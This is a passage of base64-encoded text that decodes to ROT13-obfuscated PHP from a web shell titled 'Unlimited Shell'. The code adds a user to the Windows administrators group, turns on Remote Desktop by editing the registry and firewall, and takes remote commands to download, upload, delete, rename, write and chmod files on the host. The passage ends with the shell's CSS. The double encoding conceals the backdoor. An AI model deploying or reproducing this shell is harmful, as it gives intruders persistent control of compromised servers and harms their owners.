wgJGJoZ2NoZyldOw0KICAgIH0NCiAgICANCiAgICBya3JwKCJhcmcgeWJwbnl0ZWJoYyBucXp2YXZmZ2VuZ2JlZiAiIC4gcmZwbmNyZnVyeXluZXQoJGhmcmVhbnpyKSAuICIgL25xcSAyPiYxIiwgJGJoZ2NoZywgJGVyZ2hlYV9pbmUpOw0KICAgIA0KICAgIHZzICgkZXJnaGVhX2luZSAhPT0gMCkgew0KICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ2JoZ2NoZycgPT4gIkhmcmUgcGVybmdycSBvaGcgc252eXJxIGdiIG5xcSBnYiBucXp2YXZmZ2VuZ2JlZjogIiAuIHZ6Y3licXIoIlxhIiwgJGJoZ2NoZyldOw0KICAgIH0NCiAgICANCiAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBnZWhyLCAnYmhnY2hnJyA9PiAiSGZyZSAkaGZyZWFuenIgcGVybmdycSBuYXEgbnFxcnEgZ2IgbnF6dmF2ZmdlbmdiZWYgdGViaGMiXTsNCn0NCg0Kc2hhcGd2YmEgcmFub3lyRXFjKCkgew0KICAgIHZzIChmZ2VnYmhjY3JlKGZob2ZnZShDVUNfQkYsIDAsIDMpKSAhPT0gJ0pWQScpIHsNCiAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gc255ZnIsICdiaGdjaGcnID0+ICdHdXZmIHNybmdoZXIgdmYgYmF5bCBuaW52eW5veXIgYmEgSnZhcWJqZiBmcmVpcmVmJ107DQogICAgfQ0KICAgIA0KICAgICRiaGdjaGcgPSBbXTsNCiAgICAkZXJnaGVhX2luZSA9IDA7DQogICAgDQogICAgcmtycCgnZXJ0IG5xcSAiVVhZWlxGTEZHUlpcUGhlZXJhZ1BiYWdlYnlGcmdcUGJhZ2VieVxHcmV6dmFueSBGcmVpcmUiIC9pIHNRcmFsR0ZQYmFhcnBndmJhZiAvZyBFUlRfUUpCRVEgL3EgMCAvcyAyPiYxJywgJGJoZ2NoZywgJGVyZ2hlYV9pbmUpOw0KICAgIA0KICAgIHZzICgkZXJnaGVhX2luZSAhPT0gMCkgew0KICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ2JoZ2NoZycgPT4gIlNudnlycSBnYiByYW5veXIgRVFDOiAiIC4gdnpjeWJxcigiXGEiLCAkYmhnY2hnKV07DQogICAgfQ0KICAgIA0KICAgIHJrcnAoJ2FyZ2Z1IG5xaXN2ZXJqbnl5IHN2ZXJqbnl5IGZyZyBlaHlyIHRlYmhjPSJlcnpiZ3IgcXJmeGdiYyIgYXJqIHJhbm95cj1McmYgMj4mMScsICRiaGdjaGcsICRlcmdoZWFfaW5lKTsNCiAgICANCiAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBnZWhyLCAnYmhnY2hnJyA9PiAiRVFDIHJhbm95cnEgbmFxIHN2ZXJqbnl5IHBiYXN2dGhlcnEiXTsNCn0NCg0KLy8gVW5hcXlyIGFiZXpueSBucGd2YmFmDQp2cyAodmZmcmcoJF9UUkdbJ25wZ3ZiYSddKSkgew0KICAgIGZqdmdwdSAoJF9UUkdbJ25wZ3ZiYSddKSB7DQogICAgICAgIHBuZnIgJ3FiamF5Ym5xJzoNCiAgICAgICAgICAgIHZzICh2ZmZyZygkX1RSR1snc3Z5ciddKSAmJiBzdnlyX3JrdmZnZigkX1RSR1snc3Z5ciddKSkgew0KICAgICAgICAgICAgICAgICRzdnlyID0gJF9UUkdbJ3N2eXInXTsNCiAgICAgICAgICAgICAgICB1cm5xcmUoJ1BiYWdyYWctR2xjcjogbmNjeXZwbmd2YmEvYnBncmctZmdlcm56Jyk7DQogICAgICAgICAgICAgICAgdXJucXJlKCdQYmFncmFnLVF2ZmNiZnZndmJhOiBuZ2ducHV6cmFnOyBzdnlyYW56cj0iJy5vbmZyYW56cigkc3Z5cikuJyInKTsNCiAgICAgICAgICAgICAgICBlcm5xc3Z5cigkc3Z5cik7DQogICAgICAgICAgICAgICAgcmt2ZzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIG9lcm54Ow0KICAgICAgICAgICAgDQogICAgICAgIHBuZnIgJ3FyeXJncic6DQogICAgICAgICAgICB2cyAodmZmcmcoJF9UUkdbJ3N2eXInXSkpIHsNCiAgICAgICAgICAgICAgICB2cyAodmZfcXZlKCRfVFJHWydzdnlyJ10pKSB7DQogICAgICAgICAgICAgICAgICAgIEBlenF2ZSgkX1RSR1snc3Z5ciddKTsNCiAgICAgICAgICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgICAgICAgICBAaGF5dmF4KCRfVFJHWydzdnlyJ10pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB1cm5xcmUoJ1licG5ndmJhOiA/cXZlPScuaGV5cmFwYnFyKCRwaGVlcmFnX3F2ZSkpOw0KICAgICAgICAgICAgICAgIHJrdmc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBvZXJueDsNCiAgICAgICAgICAgIA0KICAgICAgICBwbmZyICdwdXpicSc6DQogICAgICAgICAgICB2cyAodmZmcmcoJF9UUkdbJ3N2eXInXSkgJiYgdmZmcmcoJF9UUkdbJ2NyZXonXSkpIHsNCiAgICAgICAgICAgICAgICBAcHV6YnEoJF9UUkdbJ3N2eXInXSwgYnBncXJwKCRfVFJHWydjcmV6J10pKTsNCiAgICAgICAgICAgICAgICB1cm5xcmUoJ1licG5ndmJhOiA/cXZlPScuaGV5cmFwYnFyKCRwaGVlcmFnX3F2ZSkpOw0KICAgICAgICAgICAgICAgIHJrdmc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBvZXJueDsNCiAgICB9DQp9DQoNCnZzICh2ZmZyZygkX0NCRkdbJ25wZ3ZiYSddKSAmJiAhdmZmcmcoJF9DQkZHWydud25rJ10pKSB7DQogICAgZmp2Z3B1ICgkX0NCRkdbJ25wZ3ZiYSddKSB7DQogICAgICAgIHBuZnIgJ2hjeWJucSc6DQogICAgICAgICAgICB2cyAodmZmcmcoJF9TVllSRlsnc3Z5ciddKSAmJiAkX1NWWVJGWydzdnlyJ11bJ3JlZWJlJ10gPT09IDApIHsNCiAgICAgICAgICAgICAgICAkZ25ldHJnID0gJHBoZWVyYWdfcXZlIC4gJy8nIC4gJF9TVllSRlsnc3Z5ciddWydhbnpyJ107DQogICAgICAgICAgICAgICAgQHpiaXJfaGN5Ym5xcnFfc3Z5cigkX1NWWVJGWydzdnlyJ11bJ2d6Y19hbnpyJ10sICRnbmV0cmcpOw0KICAgICAgICAgICAgICAgIHVybnFyZSgnWWJwbmd2YmE6ID9xdmU9Jy5oZXlyYXBicXIoJHBoZWVyYWdfcXZlKSk7DQogICAgICAgICAgICAgICAgcmt2ZzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIG9lcm54Ow0KICAgICAgICAgICAgDQogICAgICAgIHBuZnIgJ3p4cXZlJzoNCiAgICAgICAgICAgIHZzICh2ZmZyZygkX0NCRkdbJ3F2ZWFuenInXSkgJiYgIXJ6Y2dsKCRfQ0JGR1sncXZlYW56ciddKSkgew0KICAgICAgICAgICAgICAgIEB6eHF2ZSgkcGhlZXJhZ19xdmUgLiAnLycgLiAkX0NCRkdbJ3F2ZWFuenInXSwgMDc1NSk7DQogICAgICAgICAgICAgICAgdXJucXJlKCdZYnBuZ3ZiYTogP3F2ZT0nLmhleXJhcGJxcigkcGhlZXJhZ19xdmUpKTsNCiAgICAgICAgICAgICAgICBya3ZnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgb2Vybng7DQogICAgICAgICAgICANCiAgICAgICAgcG5mciAnYXJqc3Z5cic6DQogICAgICAgICAgICB2cyAodmZmcmcoJF9DQkZHWydzdnlyYW56ciddKSAmJiAhcnpjZ2woJF9DQkZHWydzdnlyYW56ciddKSkgew0KICAgICAgICAgICAgICAgICRzdnlyY25ndSA9ICRwaGVlcmFnX3F2ZSAuICcvJyAuICRfQ0JGR1snc3Z5cmFuenInXTsNCiAgICAgICAgICAgICAgICBAc3Z5cl9jaGdfcGJhZ3JhZ2YoJHN2eXJjbmd1LCAkX0NCRkdbJ3N2eXJwYmFncmFnJ10gPz8gJycpOw0KICAgICAgICAgICAgICAgIHVybnFyZSgnWWJwbmd2YmE6ID9xdmU9Jy5oZXlyYXBicXIoJHBoZWVyYWdfcXZlKSk7DQogICAgICAgICAgICAgICAgcmt2ZzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIG9lcm54Ow0KICAgICAgICAgICAgDQogICAgICAgIHBuZnIgJ2VyYW56cic6DQogICAgICAgICAgICB2cyAodmZmcmcoJF9DQkZHWydieXFhbnpyJ10pICYmIHZmZnJnKCRfQ0JGR1snYXJqYW56ciddKSkgew0KICAgICAgICAgICAgICAgIEBlcmFuenIoJF9DQkZHWydieXFhbnpyJ10sICRfQ0JGR1snYXJqYW56ciddKTsNCiAgICAgICAgICAgICAgICB1cm5xcmUoJ1licG5ndmJhOiA/cXZlPScuaGV5cmFwYnFyKCRwaGVlcmFnX3F2ZSkpOw0KICAgICAgICAgICAgICAgIHJrdmc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBvZXJueDsNCiAgICB9DQp9DQoNCi8vIFNoYXBndmJhIGdiIHB1cnB4IHZzIHF2ZXJwZ2JlbCB2ZiBqZXZnbm95cg0Kc2hhcGd2YmEgdmZfamV2Z25veXJfcXZlKCRxdmUpIHsNCiAgICB2cyAoIXZmX3F2ZSgkcXZlKSkgZXJnaGVhIHNueWZyOw0KICAgIA0KICAgICRncmZnX3N2eXIgPSAkcXZlIC4gJy9ncmZnXycgLiBoYXZkdnEoKSAuICcuZ3pjJzsNCiAgICAkZXJmaHlnID0gQHN2eXJfY2hnX3BiYWdyYWdmKCRncmZnX3N2eXIsICdncmZnJyk7DQogICAgdnMgKCRlcmZoeWcgIT09IHNueWZyKSB7DQogICAgICAgIEBoYXl2YXgoJGdyZmdfc3Z5cik7DQogICAgICAgIGVyZ2hlYSBnZWhyOw0KICAgIH0NCiAgICBlcmdoZWEgc255ZnI7DQp9DQo/Pg0KPCFRQlBHTENSIHVnenk+DQo8dWd6eT4NCjx1cm5xPg0KICAgIDxndmd5cj5IYXl2enZncnEgRnVyeXk8L2d2Z3lyPg0KICAgIDx6cmduIHB1bmVmcmc9IkhHUy04Ij4NCiAgICA8eXZheCB1ZXJzPSJ1Z2djZjovL3NiYWdmLnRiYnR5cm5jdmYucGJ6L3BmZjI/c256dnlsPUVib2JnYitaYmFiOmp0dWdAMzAwOzQwMDs1MDA7NzAwJnNuenZ5bD1WYWdyZTpqdHVnQDMwMDs0MDA7NTAwOzYwMDs3MDAmcXZmY3lubD1mam5jIiBlcnk9ImZnbHlyZnVycmciPg0KICAgIDx5dmF4IGVyeT0iZmdseXJmdXJyZyIgdWVycz0idWdnY2Y6Ly9wcWF3Zi5weWJocXN5bmVyLnBiei9ud25rL3l2b2Yvc2JhZy1uanJmYnpyLzYuNC4wL3BmZi9ueXkuenZhLnBmZiI+DQogICAgPGZnbHlyPg0KICAgICAgICA6ZWJiZyB7DQogICAgICAgICAgICAtLWNldnpuZWw6ICMycDNyNTA7DQogICAgICAgICAgICAtLWZycGJhcW5lbDogIzM0OThxbzsNCiAgICAgICAgICAgIC0tbnBwcmFnOiAjcjc0cDNwOw0KICAgICAgICAgICAgLS1maHBwcmZmOiAjMjducjYwOw0KICAgICAgICAgICAgLS1qbmVhdmF0OiAjczM5cDEyOw0KICAgICAgICAgICAgLS12YXNiOiAjMTduMm84Ow0KICAgICAgICAgICAgLS1xbmV4OiAjMW4xbjFuOw0KICAgICAgICAgICAgLS15dnR1ZzogI3M4czlzbjsNCiAgICAgICAgICAgIC0tZnZxcm9uZS1vdDogIzFyMm4zODsNCiAgICAgICAgICAgIC0tcG5lcS1vdDogI3Nzc3NzczsNCiAgICAgICAgICAgIC0tb2JlcXJlLXBieWJlOiAjcXJyMnI2Ow0KICAgICAgICAgICAgLS1ncmtnLWNldnpuZWw6ICMycDNyNTA7DQogICAgICAgICAgICAtLWdya2ctZnJwYmFxbmVsOiAjNnA3NTdxOw0KICAgICAgICAgICAgLS1mdW5xYmo6IDAgNGNrIDZjayBldG9uKDAsIDAsIDAsIDAuMSk7DQogICAgICAgICAgICAtLWdlbmFmdmd2YmE6IG55eSAwLjNmIHJuZnI7DQogICAgICAgIH0NCg0KICAgICAgICAqIHsgDQogICAgICAgICAgICB6bmV0dmE6IDA7IA0KICAgICAgICAgICAgY25xcXZhdDogMDsgDQogICAgICAgICAgICBvYmstZnZtdmF0OiBvYmVxcmUtb2JrOyANCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgb2JxbCB7IA0KICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgI3M1czdzbiAwJSwgI3AzcHNyMiAxMDAlKTsNCiAgICAgICAgICAgIHBieWJlOiBpbmUoLS1ncmtnLWNldnpuZWwpOw0KICAgICAgICAgICAgc2JhZy1zbnp2eWw6ICdWYWdyZScsIGZuYWYtZnJldnM7DQogICAgICAgICAgICB5dmFyLXVydnR1ZzogMS42Ow0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxNGNrOw0KICAgICAgICAgICAgenZhLXVydnR1ZzogMTAwaXU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5wYmFnbnZhcmUgeyANCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7IA0KICAgICAgICAgICAgenZhLXVydnR1ZzogMTAwaXU7IA0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZnZxcm9uZSB7IA0KICAgICAgICAgICAganZxZ3U6IDI4MGNrOw0KICAgICAgICAgICAgb25weHRlYmhhcTogaW5lKC0tZnZxcm9uZS1vdCk7DQogICAgICAgICAgICBjbnFxdmF0OiAyMGNrOw0KICAgICAgICAgICAgY2Jmdmd2YmE6IGZndnB4bDsNCiAgICAgICAgICAgIGdiYzogMDsNCiAgICAgICAgICAgIG55dnRhLWZyeXM6IHN5cmstZmduZWc7DQogICAgICAgICAgICB1cnZ0dWc6IDEwMGl1Ow0KICAgICAgICAgICAgYmlyZXN5YmotbDogbmhnYjsNCiAgICAgICAgICAgIG9iay1mdW5xYmo6IGluZSgtLWZ1bnFiaik7DQogICAgICAgICAgICBtLXZhcXJrOiAxMDA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC56bnZhIHsgDQogICAgICAgICAgICBzeXJrOiAxOyANCiAgICAgICAgICAgIGNucXF2YXQ6IDI1Y2s7IA0KICAgICAgICAgICAgb25weHRlYmhhcTogZ2VuYWZjbmVyYWc7DQogICAgICAgICAgICBiaXJlc3liai1sOiBuaGdiOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAudXJucXJlIHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGluZSgtLXBuZXEtb3QpOw0KICAgICAgICAgICAgY25xcXZhdDogMjBjazsgDQogICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAyNWNrOyANCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEwY2s7DQogICAgICAgICAgICBwYnliZTogaW5lKC0tZ3JrZy1jZXZ6bmVsKTsNCiAgICAgICAgICAgIG9iZXFyZTogYWJhcjsNCiAgICAgICAgICAgIG9iay1mdW5xYmo6IGluZSgtLWZ1bnFiaik7DQogICAgICAgICAgICBjYmZ2Z3ZiYTogZXJ5bmd2aXI7DQogICAgICAgICAgICBiaXJlc3liajogdXZxcXJhOw0KICAgICAgICAgICAgcXZmY3lubDogc3lyazsNCiAgICAgICAgICAgIHdoZmd2c2wtcGJhZ3JhZzogZmNucHItb3JnanJyYTsNCiAgICAgICAgICAgIG55dnRhLXZncnpmOiBwcmFncmU7DQogICAgICAgICAgICBzeXJrLWplbmM6IGplbmM7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC51cm5xcmU6Om9yc2JlciB7DQogICAgICAgICAgICBwYmFncmFnOiAnJzsNCiAgICAgICAgICAgIGNiZnZndmJhOiBub2ZieWhncjsNCiAgICAgICAgICAgIGdiYzogMDsNCiAgICAgICAgICAgIHlyc2c6IDA7DQogICAgICAgICAgICBqdnFndTogMTAwJTsNCiAgICAgICAgICAgIHVydnR1ZzogNGNrOw0KICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDkwcXJ0LCBpbmUoLS1mcnBiYXFuZWwpLCBpbmUoLS1ucHByYWcpKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnVybnFyZSB1MSB7DQogICAgICAgICAgICB6bmV0dmE6IDA7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDI4Y2s7DQogICAgICAgIH0NCg0KICAgICAgICAudXJucXJlLXZwYmFmIHsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICB0bmM6IDE1Y2s7DQogICAgICAgICAgICBueXZ0YS12Z3J6ZjogcHJhZ3JlOw0KICAgICAgICB9DQoNCiAgICAgICAgLnVybnFyZS12cGJhIHsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICBueXZ0YS12Z3J6ZjogcHJhZ3JlOw0KICAgICAgICAgICAgd2hmZ3ZzbC1wYmFncmFnOiBwcmFncmU7DQogICAgICAgICAgICBqdnFndTogMjBjazsNCiAgICAgICAgICAgIHVydnR1ZzogMjBjazsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGV0b24oMjU1LCAyNTUsIDI1NSwgMC4xKTsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDUwJTsNCiAgICAgICAgICAgIHBieWJlOiBqdXZncjsNCiAgICAgICAgICAgIGdya2ctcXJwYmVuZ3ZiYTogYWJhcjsNCiAgICAgICAgICAgIGdlbmFmdmd2YmE6IGluZSgtLWdlbmFmdmd2YmEpOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxNmNrOw0KICAgICAgICAgICAgb2JlcXJlOiAxY2sgZmJ5dnEgaW5lKC0tb2JlcXJlLXBieWJlKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC51cm5xcmUtdnBiYTp1YmlyZSB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1mcnBiYXFuZWwpOw0KICAgICAgICAgICAgcGJ5YmU6IGp1dmdyOw0KICAgICAgICAgICAgZ2VuYWZzYmV6OiBnZW5hZnluZ3JMKC0yY2spOw0KICAgICAgICAgICAgb2JrLWZ1bnFiajogMCA0Y2sgOGNrIGV0b24oMCwwLDAsMC4yKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnlidHZhLXZhc2Igew0KICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgIzY2N3JybiAwJSwgIzc2NG9uMiAxMDAlKTsNCiAgICAgICAgICAgIHBieWJlOiBqdXZncjsNCiAgICAgICAgICAgIGNucXF2YXQ6IDhjayAxNWNrOw0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogMjBjazsNCiAgICAgICAgICAgIHNiYWctZnZtcjogMTJjazsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICBueXZ0YS12Z3J6ZjogcHJhZ3JlOw0KICAgICAgICAgICAgdG5jOiA4Y2s7DQogICAgICAgICAgICB6bmV0dmEteXJzZzogbmhnYjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnlidGJoZy1vZ2Egew0KICAgICAgICAgICAgb25weHRlYmhhcTogZXRvbigyNTUsMjU1LDI1NSwwLjIpOw0KICAgICAgICAgICAgcGJ5YmU6IGp1dmdyOw0KICAgICAgICAgICAgb2JlcXJlOiAxY2sgZmJ5dnEgZXRvbigyNTUsMjU1LDI1NSwwLjMpOw0KICAgICAgICAgICAgY25xcXZhdDogNWNrIDEyY2s7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiAxNWNrOw0KICAgICAgICAgICAgZ3JrZy1xcnBiZW5ndmJhOiBhYmFyOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxMWNrOw0KICAgICAgICAgICAgZ2VuYWZ2Z3ZiYTogbnl5IDAuM2Ygcm5mcjsNCiAgICAgICAgICAgIHpuZXR2YS15cnNnOiAxMGNrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAueWJ0YmhnLW9nYTp1YmlyZSB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiBldG9uKDI1NSwyNTUsMjU1LDAuMyk7DQogICAgICAgICAgICBnZW5hZnNiZXo6IGdlbmFmeW5nckwoLTFjayk7DQogICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgLmZycGd2YmEgeyANCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGluZSgtLXBuZXEtb3QpOyANCiAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDIwY2s7IA0KICAgICAgICAgICAgY25xcXZhdDogMjBjazsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEwY2s7DQogICAgICAgICAgICBvYmstZnVucWJqOiBpbmUoLS1mdW5xYmopOw0KICAgICAgICAgICAgb2JlcXJlOiBhYmFyOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc3Z5ci15dmZnIHsgDQogICAgICAgICAgICB6bmV0dmE6IDE1Y2sgMDsgDQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5zdnlyLXZncnogeyANCiAgICAgICAgICAgIGNucXF2YXQ6IDEyY2sgMTVjazsgDQogICAgICAgICAgICBvYmVxcmUtb2JnZ2J6OiAxY2sgZmJ5dnEgaW5lKC0tb2JlcXJlLXBieWJlKTsgDQogICAgICAgICAgICBxdmZjeW5sOiBzeXJrOyANCiAgICAgICAgICAgIG55dnRhLXZncnpmOiBwcmFncmU7DQogICAgICAgICAgICBnZW5hZnZndmJhOiBpbmUoLS1nZW5hZnZndmJhKTsNCiAgICAgICAgICAgIHN5cmstamVuYzogamVuYzsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDVjazsNCiAgICAgICAgICAgIGNiZnZndmJhOiBlcnluZ3ZpcjsNCiAgICAgICAgICAgIHBoZWZiZTogY2J2YWdyZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnN2eXItdmdyejp1YmlyZSB7IA0KICAgICAgICAgICAgb25weHRlYmhhcTogI3MxczhzczsgDQogICAgICAgICAgICBnZW5hZnNiZXo6IGdlbmFmeW5nckwoLTJjayk7DQogICAgICAgICAgICBvYmstZnVucWJqOiAwIDJjayA1Y2sgZXRvbigwLDAsMCwwLjA1KTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnN2eXItdmdyei5mcnlycGdycSB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiAjcjNzMnNxOw0KICAgICAgICAgICAgb2JlcXJlLXlyc2c6IDNjayBmYnl2cSBpbmUoLS1mcnBiYXFuZWwpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc3Z5ci1hbnpyIHsgDQogICAgICAgICAgICBzeXJrOiAxOyANCiAgICAgICAgICAgIHNiYWctZnZtcjogMTRjazsgDQogICAgICAgICAgICBzYmFnLXNuenZ5bDogJ0Vib2JnYiBaYmFiJywgemJhYmZjbnByOyANCiAgICAgICAgICAgIHp2YS1qdnFndTogMjAwY2s7DQogICAgICAgICAgICBqYmVxLW9lcm54OiBvZXJueC1ueXk7DQogICAgICAgICAgICBxdmZjeW5sOiBzeXJrOw0KICAgICAgICAgICAgbnl2dGEtdmdyemY6IHByYWdyZTsNCiAgICAgICAgICAgIHRuYzogOGNrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc3Z5ci1ucGd2YmFmIHsgDQogICAgICAgICAgICBxdmZjeW5sOiBzeXJrOyANCiAgICAgICAgICAgIHRuYzogOGNrOyANCiAgICAgICAgICAgIHN5cmstamVuYzogamVuYzsNCiAgICAgICAgICAgIHpuZXR2YTogNWNrIDA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5vZ2EgeyANCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGluZSgtLWZycGJhcW5lbCk7IA0KICAgICAgICAgICAgcGJ5YmU6ICNzc3Nzc3M7IA0KICAgICAgICAgICAgb2JlcXJlOiBhYmFyOyANCiAgICAgICAgICAgIGNucXF2YXQ6IDhjayAxNGNrOyANCiAgICAgICAgICAgIHBoZWZiZTogY2J2YWdyZTsgDQogICAgICAgICAgICBncmtnLXFycGJlbmd2YmE6IGFiYXI7IA0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxMmNrOyANCiAgICAgICAgICAgIHNiYWctc256dnlsOiAnVmFncmUnLCBmbmFmLWZyZXZzOw0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogNWNrOw0KICAgICAgICAgICAgZ2VuYWZ2Z3ZiYTogaW5lKC0tZ2VuYWZ2Z3ZiYSk7DQogICAgICAgICAgICBzYmFnLWpydnR1ZzogNTAwOw0KICAgICAgICAgICAganV2Z3ItZmNucHI6IGFiamVuYzsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHZheXZhci1zeXJrOw0KICAgICAgICAgICAgbnl2dGEtdmdyemY6IHByYWdyZTsNCiAgICAgICAgICAgIHRuYzogNWNrOw0KICAgICAgICAgICAgb2JrLWZ1bnFiajogMCAyY2sgNGNrIGV0b24oMCwwLDAsMC4xKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm9nYTp1YmlyZSB7IA0KICAgICAgICAgICAgZ2VuYWZzYmV6OiBnZW5hZnluZ3JMKC0yY2spOw0KICAgICAgICAgICAgb2JrLWZ1bnFiajogMCA0Y2sgOGNrIGV0b24oMCwwLDAsMC4xNSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5vZ2E6cXZmbm95cnEgew0KICAgICAgICAgICAgb25weHRlYmhhcTogI25xbzVvcTsNCiAgICAgICAgICAgIHBoZWZiZTogYWJnLW55eWJqcnE7DQogICAgICAgICAgICBnZW5hZnNiZXo6IGFiYXI7DQogICAgICAgICAgICBvYmstZnVucWJqOiBhYmFyOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAub2dhLXFuYXRyZSB7IA0KICAgICAgICAgICAgb25weHRlYmhhcTogaW5lKC0tbnBwcmFnKTsgDQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5vZ2EtZmhwcHJmZiB7IA0KICAgICAgICAgICAgb25weHRlYmhhcTogaW5lKC0tZmhwcHJmZik7IA0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAub2dhLWpuZWF2YXQgeyANCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGluZSgtLWpuZWF2YXQpOyANCiAgICAgICAgICAgIHBieWJlOiAjMDAwOyANCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm9nYS12YXNiIHsgDQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS12YXNiKTsgDQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5vZ2EtZnJwYmFxbmVsIHsgDQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1ncmtnLWZycGJhcW5lbCk7IA0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAub2dhLWNldnpuZWwgew0KICAgICAgICAgICAgb25weHRlYmhhcTogaW5lKC0tY2V2em5lbCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIHZhY2hnLCBncmtnbmVybiwgZnJ5cnBnIHsgDQogICAgICAgICAgICBvbnB4dGViaGFxOiAjc3Nzc3NzOyANCiAgICAgICAgICAgIHBieWJlOiBpbmUoLS1ncmtnLWNldnpuZWwpOyANCiAgICAgICAgICAgIG9iZXFyZTogMWNrIGZieXZxIGluZSgtLW9iZXFyZS1wYnliZSk7IA0KICAgICAgICAgICAgY25xcXZhdDogMTBjazsgDQogICAgICAgICAgICB6bmV0dmE6IDVjayAwOw0KICAgICAgICAgICAgc2JhZy1zbnp2eWw6ICdFYm9iZ2IgWmJhYicsIHpiYWJmY25wcjsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDVjazsNCiAgICAgICAgICAgIGp2cWd1OiAxMDAlOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxNGNrOw0KICAgICAgICAgICAgZ2VuYWZ2Z3ZiYTogaW5lKC0tZ2VuYWZ2Z3ZiYSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIHZhY2hnOnNicGhmLCBncmtnbmVybjpzYnBoZiwgZnJ5cnBnOnNicGhmIHsNCiAgICAgICAgICAgIGJoZ3l2YXI6IGFiYXI7DQogICAgICAgICAgICBvYmVxcmUtcGJ5YmU6IGluZSgtLWZycGJhcW5lbCk7DQogICAgICAgICAgICBvYmstZnVucWJqOiAwIDAgMCAzY2sgZXRvbig1MiwgMTUyLCAyMTksIDAuMik7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5ncmV6dmFueSB7IA0KICAgICAgICAgICAgb25weHRlYmhhcTogaW5lKC0tcG5lcS1vdCk7IA0KICAgICAgICAgICAgb2JlcXJlOiBhYmFyOyANCiAgICAgICAgICAgIGNucXF2YXQ6IDE1Y2s7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiAxMGNrOw0KICAgICAgICAgICAgb2JrLWZ1bnFiajogaW5lKC0tZnVucWJqKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmdyZXp2YW55LWJoZ2NoZyB7IA0KI